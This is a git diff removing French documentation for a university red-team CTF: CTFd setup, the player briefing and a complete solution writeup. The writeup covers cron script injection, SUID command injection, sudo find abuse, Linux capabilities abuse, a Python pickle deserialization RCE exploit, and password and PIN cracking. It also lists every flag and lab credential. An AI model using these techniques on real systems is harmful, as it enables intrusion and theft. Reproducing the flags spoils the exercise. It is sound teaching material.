Ledger`. - -### Challenge "Premiers pas" (F1) — celui qui porte le bouton Docker - -- Type : **Docker** (le type fourni par le plugin, pas "standard") -- Image : `registry.local/meridian-silent-ledger:latest` -- Port exposé : `22/tcp` -- Description : voir `SCENARIO_JOUEUR.md` section 1 -- Points : 50 (dynamique ou statique selon votre préférence — voir §5) -- Flag : `MERIDIAN{f1rst_st3ps_1nt0_th3_n3tw0rk_3a1c9d}` - -C'est le **seul** challenge avec un bouton "Start Instance". Les 9 suivants sont -des challenges **standards** (flag texte) : le joueur reste sur l'instance déjà -lancée pour les résoudre tous. - -### Challenges 2 à 10 — type "standard" - -Pour chacun, en plus du texte (voir `SCENARIO_JOUEUR.md`) : - -| # | Nom | Points | Flag | -|---|------------------|-------:|--------------------------------------------------------------| -| 2 | Fouille de printemps | 75 | `MERIDIAN{h1dd3n_1n_pla1n_s1ght_7b2e41}` | -| 3 | Mauvaise mémoire | 100 | `MERIDIAN{h1st0ry_r3p3ats_1ts3lf_c48a02}` | -| 4 | Tâche planifiée | 125 | `MERIDIAN{cr0n_j0bs_ar3_g0ld_9d17f3}` | -| 5 | Journaux confidentiels | 150 | `MERIDIAN{su1d_b1nar13s_l13_0ft3n_2f6b58}` | -| 6 | Délégation hasardeuse | 175 | `MERIDIAN{sud0_m1sc0nf1g_str1k3s_ag41n_e0a934}` | -| 7 | Pouvoirs spéciaux | 200 | `MERIDIAN{cap4bilit13s_ar3_p0w3r_5c2d71}` | -| 8 | L'orchestrateur | 225 | `MERIDIAN{0rch3str4t0r_pwn3d_88af0d}` | -| 9 | Le coffre | 250 | `MERIDIAN{cr4ck3d_th3_v4ult_1e39b6}` | -| 10 | Silent Ledger | 300 | `MERIDIAN{0p3ration_s1l3nt_l3dg3r_c0mpl3t3_f4a217}` | - -> Vérifiez le flag exact de F5 dans `challenge/flag5.txt` après build — pensez à le -> recopier ici. (Il est reproduit dans `SOLUTION_WRITEUP.md`.) - -## 4. Forcer l'ordre chronologique avec les prérequis CTFd - -CTFd permet de conditionner l'apparition d'un challenge à la résolution d'un autre -(onglet **Requirements** dans l'édition d'un challenge). Configurez une chaîne -strictement linéaire : - -``` -F1 → (requiert F1) F2 → (requiert F2) F3 → ... → (requiert F9) F10 -``` - -Concrètement, dans le challenge F2 : Requirements = [F1]. Dans F3 : Requirements = -[F2]. Etc. Ainsi les joueurs ne voient jamais la tuile "Le coffre" avant d'avoir -résolu "L'orchestrateur" — cela matérialise la progression chronologique demandée, -même si techniquement rien n'empêche un joueur curieux de fouiller la machine dans -le désordre (ce qui est réaliste pour un vrai engagement red team). - -Option "Anonymize requirements" : laissez décoché pour que le joueur voie qu'il -reste des challenges à débloquer (motivant), sinon la tuile est invisible tant que -non débloquée. - -## 5. Points : statique ou dynamique ? - -Recommandation : **points statiques** (les valeurs du tableau ci-dessus). Un -barème dynamique (qui décroît avec le nombre de résolutions) n'a pas beaucoup de -sens ici puisque chaque joueur/équipe a sa propre instance isolée et que -l'objectif pédagogique est la progression individuelle, pas la compétition sur la -rareté d'un flag. - -## 6. Bornes de temps / nettoyage des instances - -Réglez dans le plugin : -- **Durée de vie max d'une instance** : 2 à 3 h (le temps de faire les 10 étapes - confortablement en environnement de soutenance/évaluation) ; ajustez selon votre - format d'épreuve. -- **Limite d'instances simultanées par équipe** : 1 (le challenge est conçu pour - une seule instance à la fois — relancer en efface la progression sur la machine, - mais pas les flags déjà soumis dans CTFd, qui restent acquis). - -## 7. Test avant mise en prod - -Avant l'épreuve, lancez vous-même une instance depuis CTFd (pas juste `docker run` -en local) pour vérifier bout en bout : port mapping correct, bannière SSH visible, -et les 10 flags atteignables via le chemin décrit dans `SOLUTION_WRITEUP.md`. diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/SCENARIO_JOUEUR.md b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/SCENARIO_JOUEUR.md deleted file mode 100644 index 0b8d6d0..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/SCENARIO_JOUEUR.md +++ /dev/null @@ -1,115 +0,0 @@ -# Operation SILENT LEDGER — Brief joueur - -> Ceci est le texte destiné à être copié/collé dans CTFd (description de catégorie / -> de challenge). Le ton est volontairement "rapport de mission red team". - -## Briefing - -**Client :** Meridian Capital (société fictive de gestion d'actifs) -**Mandat :** Red Team engagement — post-exploitation -**Contexte :** La phase de reconnaissance et d'ingénierie sociale a déjà été menée par -une autre équipe. Une campagne de phishing a permis d'obtenir les identifiants SSH -d'un stagiaire IT, `j.martin`. Vous prenez le relais à partir de cet accès initial. - -**Objectif :** Élever vos privilèges pas à pas jusqu'à l'exfiltration complète des -données sensibles de Meridian Capital. Le chemin comporte **10 étapes (flags)**, -de la simple reconnaissance jusqu'à la compromission totale. Chaque étape rapporte -des points croissants — soumettez-les au fur et à mesure dans CTFd, vous n'avez -pas besoin d'attendre la fin pour scorer. - -**Règles :** -- Une seule instance Docker à lancer (bouton "Start Instance"). Tout le challenge - se déroule dessus, du flag 1 au flag 10. -- Accès initial : `ssh j.martin@ -p ` — mot de passe fourni ci-dessous. -- Ne détruisez pas volontairement l'instance des autres participants, ni la vôtre - avant d'avoir fini (le bouton "Stop"/"Restart" vous redonne un environnement propre - mais réinitialise votre progression sur la machine). -- Interdiction de bruteforcer le port SSH exposé ou de scanner l'infrastructure CTFd — - tout est fourni pas à pas via l'énumération normale. - -**Identifiants de départ :** -``` -user: j.martin -pass: Welcome2024! -``` - -## Barème - -| # | Titre du challenge | Technique | Points | -|---|----------------------------------------------|-------------------------------------------------------|-------:| -| 1 | Premiers pas | Reconnaissance / lecture de fichiers | 50 | -| 2 | Fouille de printemps | Énumération du système de fichiers | 75 | -| 3 | Mauvaise mémoire | Récolte d'identifiants (historique shell) | 100 | -| 4 | Tâche planifiée | Privesc via cron job inscriptible | 125 | -| 5 | Journaux confidentiels | Binaire SUID vulnérable (injection de commande) | 150 | -| 6 | Délégation hasardeuse | Mauvaise configuration sudo (GTFOBins) | 175 | -| 7 | Pouvoirs spéciaux | Abus de capabilities Linux | 200 | -| 8 | L'orchestrateur | Désérialisation non sécurisée (RCE root) | 225 | -| 9 | Le coffre | Cassage de mot de passe hors-ligne (zip) | 250 | -| 10| Silent Ledger | Cassage de PIN + déchiffrement GPG (final) | 300 | - -**Total : 1650 points** - -## Description à coller par challenge (CTFd) - -### 1 — Premiers pas (50 pts) -> Vous venez d'obtenir un accès SSH via une campagne de phishing réussie sur un -> stagiaire IT. Connectez-vous et commencez votre reconnaissance. Que laissent -> traîner les nouveaux employés dans leur répertoire personnel ? -> -> `ssh j.martin@ -p ` — mot de passe : `Welcome2024!` -> -> Format du flag : `MERIDIAN{...}` - -### 2 — Fouille de printemps (75 pts) -> Les sauvegardes système sont rarement bien nettoyées. Un peu de méthode -> (`find`, `grep -r`) devrait payer. - -### 3 — Mauvaise mémoire (100 pts) -> Tout le monde fait des erreurs de frappe un jour ou l'autre — y compris en tapant -> un mot de passe au mauvais endroit. Les habitudes ne s'effacent pas si facilement. - -### 4 — Tâche planifiée (125 pts) -> Un compte de service tourne toutes les nuits (enfin, toutes les minutes ici, pour -> ne pas vous faire attendre). Qui exécute quoi, et avec quelles permissions ? - -### 5 — Journaux confidentiels (150 pts) -> L'équipe IT a développé un petit outil interne pour consulter les logs sans -> donner un accès root complet aux analystes. Est-il aussi sûr qu'il en a l'air ? - -### 6 — Délégation hasardeuse (175 pts) -> Un analyste dispose de quelques privilèges `sudo` très ciblés. Trop ciblés, -> peut-être pas assez. - -### 7 — Pouvoirs spéciaux (200 pts) -> Root n'est pas le seul moyen de contourner les permissions du système de -> fichiers sous Linux. - -### 8 — L'orchestrateur (225 pts) -> Meridian gère sa flotte de serveurs avec un outil interne maison. Les outils -> maison ont parfois des défauts que les outils du commerce n'ont plus depuis -> longtemps. - -### 9 — Le coffre (250 pts) -> Certains secrets sont encore chiffrés. Un mot de passe faible ne résiste jamais -> bien longtemps à un dictionnaire. - -### 10 — Silent Ledger (300 pts) -> Dernière ligne droite. Une dernière couche de chiffrement protège les données -> les plus sensibles de Meridian Capital. Prouvez que vous êtes allé jusqu'au bout -> de l'engagement. - -## Note sur les indices (hints CTFd) - -Pour un public de M2, je recommande de **ne pas** activer d'indices payants sur les -challenges 1 à 4 (trop simple), mais d'en prévoir un discret (coût 10-15% des points) -sur 5, 6, 7, 8 et 9, du type : - -- F5 : "Cherchez les binaires SUID sur le système, puis étudiez ce qu'ils exécutent - en interne (`strings`, `ltrace`)." -- F6 : "`sudo -l` est votre ami. GTFOBins aussi." -- F7 : "`getcap -r / 2>/dev/null` révèle des choses intéressantes." -- F8 : "Le protocole de l'orchestrateur accepte un token. Un des fichiers déjà - récupérés en contient un." -- F9 : "`zip2john` + une wordlist connue suffisent." -- F10 : "`hashcat` avec une attaque par masque sur 6 chiffres est quasi instantané." diff --git a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/SOLUTION_WRITEUP.md b/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/SOLUTION_WRITEUP.md deleted file mode 100644 index 22bf561..0000000 --- a/challenges/2-Red-Team-Operation-Silent-Ledger-Lucas/docs/SOLUTION_WRITEUP.md +++ /dev/null @@ -1,296 +0,0 @@ -# Operation SILENT LEDGER — Writeup complet (10/10 flags) - -> Document auteur — ne pas distribuer aux joueurs. Sert de correction officielle -> et de support si un joueur conteste un flag ou reste bloqué en soutenance. - -## Vue d'ensemble de la chaîne d'attaque - -``` -j.martin (SSH, mdp fourni) - │ F1 lecture fichier home - │ F2 énumération /var/backups - │ F3 .bash_history -> mdp svc_backup - ▼ -su svc_backup - │ F4 cron root inscriptible -> mdp r.dubois - ▼ -su r.dubois (groupe "analysts") - │ F5 SUID logviewer -> shell root partiel / lecture fichier - │ F6 sudo NOPASSWD find -> shell app_agent - ▼ -sudo -u app_agent find . -exec /bin/sh \; - │ F7 binaire cap_dac_read_search -> lecture arbitraire (token + flag7) - │ F8 socket orchestrator + token -> pickle RCE en root -> exfiltration vault.zip - ▼ -(exécution de commandes en tant que root via l'orchestrateur) - │ F9 crack vault.zip (zip2john + john/hashcat, rockyou.txt) -> flag9 - │ F10 crack pin.hash (hashcat mask 6 digits) -> déchiffrement final.gpg -> flag10 - ▼ -FIN -``` - -Chaque étape est indépendante à valider dans CTFd — pas besoin d'attendre la fin -de la chaîne pour scorer les premières. - ---- - -## Flag 1 — Premiers pas (50 pts) - -Connexion initiale : -```bash -ssh j.martin@ -p -# password: Welcome2024! -``` -Puis : -```bash -ls -la ~ -cat ~/welcome_note.txt -``` -``` -flag: MERIDIAN{f1rst_st3ps_1nt0_th3_n3tw0rk_3a1c9d} -``` - -## Flag 2 — Fouille de printemps (75 pts) - -`/var/backups` contient plusieurs fichiers `.bak`. Deux sont des leurres (dump SQL -obsolète, ancien site web), un contient le flag : -```bash -grep -r "flag" /var/backups/ 2>/dev/null -# ou : ls -la /var/backups && cat /var/backups/app_config.bak -``` -``` -flag: MERIDIAN{h1dd3n_1n_pla1n_s1ght_7b2e41} -``` -Le fichier `app_config.bak` mentionne aussi l'existence des comptes internes -`svc_backup`, `r.dubois`, `app_agent` — nudge naturel vers la suite. - -## Flag 3 — Mauvaise mémoire (100 pts) - -L'historique shell de j.martin contient une erreur de manipulation classique : -```bash -cat ~/.bash_history -``` -``` -su svc_backup -B4ckupSvc_2023! -``` -Le mot de passe a été tapé en pensant être au prompt `su`, et s'est retrouvé dans -l'historique en clair. On l'utilise : -```bash -su svc_backup -# password: B4ckupSvc_2023! -cat ~/flag3.txt -``` -``` -flag: MERIDIAN{h1st0ry_r3p3ats_1ts3lf_c48a02} -``` - -## Flag 4 — Tâche planifiée (125 pts) - -En tant que `svc_backup`, on regarde ce qui tourne en tâche planifiée : -```bash -cat /etc/cron.d/meridian -# * * * * * root /opt/scripts/cleanup.sh -ls -la /opt/scripts/cleanup.sh -``` -Le script est `root:svc_backup`, mode `rwxrwxr-x` — **inscriptible par le groupe -svc_backup**, exécuté par `root` toutes les minutes. On injecte une commande : -```bash -cat >> /opt/scripts/cleanup.sh << 'EOF' -cp /root/creds/r_dubois_password.txt /tmp/loot_r_dubois.txt -chmod 644 /tmp/loot_r_dubois.txt -EOF -``` -On attend au plus 60 secondes que le cron root s'exécute, puis : -```bash -cat /tmp/loot_r_dubois.txt -``` -``` -user: r.dubois -password: An4lyst#Secure99 - -flag: MERIDIAN{cr0n_j0bs_ar3_g0ld_9d17f3} -``` - -## Flag 5 — Journaux confidentiels (150 pts) - -On récupère un shell `r.dubois` (`su r.dubois`, mot de passe ci-dessus — ce compte -est membre du groupe `analysts`). Recherche classique des binaires SUID : -```bash -find / -perm -4000 -type f 2>/dev/null -``` -`/usr/local/bin/logviewer` ressort, appartenant à `root:analysts`, mode `4750` -(setuid root, exécutable uniquement par le groupe analysts — donc accessible -seulement maintenant qu'on est r.dubois). Analyse rapide : -```bash -strings /usr/local/bin/logviewer | grep -i cat -# révèle : cat /var/log/meridian/%s.log -``` -Le programme construit une commande shell avec l'argument fourni, sans le -nettoyer, puis fait `setuid(0)` avant de l'exécuter via `system()`. Injection -classique, avec un `#` pour "manger" le `.log` final ajouté par le programme : -```bash -/usr/local/bin/logviewer "app; cat /root/flag5.txt #" -``` -``` -flag: MERIDIAN{su1d_b1nar13s_l13_0ft3n_2f6b58} -``` -(Variante possible : `logviewer "app; /bin/sh #"` pour obtenir directement un -shell root complet.) - -## Flag 6 — Délégation hasardeuse (175 pts) - -Toujours en `r.dubois` : -```bash -sudo -l -``` -``` -User r.dubois may run the following commands on this host: - (app_agent) NOPASSWD: /usr/bin/find -``` -`find` est une entrée bien connue de GTFOBins pour l'escalade sudo : -```bash -sudo -u app_agent find . -exec /bin/sh \; -``` -Shell obtenu en tant que `app_agent` : -```bash -whoami # app_agent -cat ~/flag6.txt -``` -``` -flag: MERIDIAN{sud0_m1sc0nf1g_str1k3s_ag41n_e0a934} -``` - -## Flag 7 — Pouvoirs spéciaux (200 pts) - -En `app_agent`, on cherche des capabilities Linux au lieu de chercher encore du -SUID : -```bash -getcap -r / 2>/dev/null -``` -``` -/usr/local/bin/py-agent cap_dac_read_search=ep -``` -`cap_dac_read_search` permet de contourner **toutes** les vérifications de -lecture/traversée de répertoire (y compris `/root`, normalement fermé même à la -recherche). On l'utilise directement (le binaire est une copie de python3) : -```bash -/usr/local/bin/py-agent -c 'print(open("/root/flag7.txt").read())' -``` -``` -flag: MERIDIAN{cap4bilit13s_ar3_p0w3r_5c2d71} -``` -Le même mécanisme permet de récupérer le token nécessaire pour la suite : -```bash -/usr/local/bin/py-agent -c 'print(open("/root/.orchestrator_token").read())' -/usr/local/bin/py-agent -c 'print(open("/root/README_orchestrator.txt").read())' -``` -→ token : `8f3ac1e9b7d24f0aa6c9e21d4b7f9931`, et indication qu'un service -`meridian-orchestrator` écoute sur `/run/meridian/orchestrator.sock`. - -## Flag 8 — L'orchestrateur (225 pts) - -Le service tourne en root et écoute en JSON ligne-par-ligne sur un socket UNIX. -Commande `ping` pour confirmer : -```bash -echo '{"cmd":"ping"}' | /usr/local/bin/py-agent -c ' -import socket,sys -s=socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) -s.connect("/run/meridian/orchestrator.sock") -s.sendall(sys.stdin.buffer.read()) -print(s.recv(4096))' -``` -La commande `restore_config` prend un payload base64 qui est passé tel quel à -`pickle.loads()` — **désérialisation non sécurisée**, RCE immédiate côté serveur -(root). Exploit : -```bash -mkdir -p /tmp/loot -/usr/local/bin/py-agent << 'PYEOF' -import pickle, base64, socket, json, os - -class Exploit: - def __reduce__(self): - cmd = ("cp /root/vault/vault.zip /root/vault/flag8.txt " - "/root/.encrypted/final.gpg /root/.encrypted/pin.hash /tmp/loot/ ; " - "chmod -R 777 /tmp/loot") - return (os.system, (cmd,)) - -payload = base64.b64encode(pickle.dumps(Exploit())).decode() -msg = {"cmd": "restore_config", - "token": "8f3ac1e9b7d24f0aa6c9e21d4b7f9931", - "payload": payload} - -s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) -s.connect("/run/meridian/orchestrator.sock") -s.sendall((json.dumps(msg) + "\n").encode()) -print(s.recv(4096)) -PYEOF -``` -```bash -cat /tmp/loot/flag8.txt -``` -``` -flag: MERIDIAN{0rch3str4t0r_pwn3d_88af0d} -``` -On a maintenant, dans `/tmp/loot/` : `vault.zip`, `final.gpg`, `pin.hash`. On les -rapatrie sur sa machine d'attaque : -```bash -scp -P app_agent@:/tmp/loot/{vault.zip,final.gpg,pin.hash} . -``` - -## Flag 9 — Le coffre (250 pts) - -`vault.zip` est protégé par mot de passe. Cassage hors-ligne classique : -```bash -zip2john vault.zip > vault.hash -john --wordlist=/usr/share/wordlists/rockyou.txt vault.hash -john --show vault.hash -# password: iloveyou -unzip -P iloveyou vault.zip -cat flag9.txt -``` -``` -flag: MERIDIAN{cr4ck3d_th3_v4ult_1e39b6} -``` -(`decoy_customers.csv` inclus dans l'archive est un leurre narratif — données -factices, pas de flag dedans.) - -## Flag 10 — Silent Ledger (300 pts, finale) - -Il reste `final.gpg` (chiffrement symétrique) et `pin.hash` (empreinte SHA-256 -d'un PIN à 6 chiffres). Attaque par masque, quasi instantanée : -```bash -hashcat -m 1400 -a 3 pin.hash ?d?d?d?d?d?d -hashcat -m 1400 pin.hash --show -# 482913:482913 -``` -Déchiffrement final : -```bash -gpg --batch --yes --pinentry-mode loopback --passphrase 482913 -o flag10.txt -d final.gpg -cat flag10.txt -``` -``` -MERIDIAN{0p3ration_s1l3nt_l3dg3r_c0mpl3t3_f4a217} -``` - -**Fin de l'engagement.** 1650 points cumulés si toutes les étapes sont validées. - ---- - -## Compétences couvertes (pour la soutenance / grille d'évaluation) - -| Flag | Compétence red team / post-exploitation | -|------|------------------------------------------------------------------------| -| 1-2 | Reconnaissance locale, énumération de fichiers | -| 3 | Récolte d'identifiants (artefacts utilisateur) | -| 4 | Abus de tâches planifiées, permissions Unix | -| 5 | Reverse engineering léger, injection de commande dans un SUID | -| 6 | Mauvaise configuration sudo / GTFOBins | -| 7 | Linux capabilities (au-delà du modèle root/non-root classique) | -| 8 | Exploitation applicative (désérialisation non sécurisée), dev interne | -| 9 | Cassage de mot de passe hors-ligne, pipeline zip2john/john | -| 10 | Attaque par masque hashcat, usage GPG, synthèse de la chaîne complète | - -Cette diversité (system hardening, permissions Unix, capabilities, appsec sur un -outil interne, cryptographie appliquée) justifie la répartition des points et le -niveau attendu en 4ème année de master cybersécurité.